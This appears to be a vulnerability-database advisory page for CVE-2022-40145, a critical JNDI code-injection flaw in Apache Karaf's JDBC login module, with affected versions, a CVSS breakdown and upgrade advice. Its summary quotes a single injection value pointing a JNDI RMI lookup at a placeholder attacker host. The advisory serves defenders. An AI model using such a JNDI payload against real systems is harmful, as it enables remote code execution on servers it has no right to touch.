Loading...
Skip to main content

CVE-2022-40145 — Vulnerability in org.apache.karaf:apache-karaf —...

CRITICAL

Apache Karaf vulnerable to potential code injection

Published December 21, 2022Updated April 15, 2025Source: osv

Summary

This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function `jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource` uses `InitialContext.lookup(jndiName)` without filtering. A user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in `JdbcLoginModuleTest#setup`. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Maintainers encourage the users to upgrade to at least Apache Karaf versions 4.4.2 or 4.3.8.

Advisory Timeline

  • First published December 21, 2022 (1391 days ago).
  • Last revised April 15, 2025 — 846 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Maven
Update org.apache.karaf:apache-karaf to 4.4.2 or later
<!-- Update pom.xml dependency version to 4.4.2 for org.apache.karaf:apache-karaf -->
Maven
Update org.apache.karaf:apache-karaf to 4.3.8 or later
<!-- Update pom.xml dependency version to 4.3.8 for org.apache.karaf:apache-karaf -->

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

Affects 1 ecosystem: maven (1).

PackageEcosystemAffectedFixed In
org.apache.karaf:apache-karaf
maven
4.4.0, 4.4.14.4.2
org.apache.karaf:apache-karaf
maven
2.0.0, 2.1.0, 2.1.1, 2.1.2 (+94 more)4.3.8

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2022-40145?
Apache Karaf vulnerable to potential code injection This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2022-40145?
CVE-2022-40145 affects org.apache.karaf:apache-karaf. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2022-40145 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-c2p4-8mvv-rwmv

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies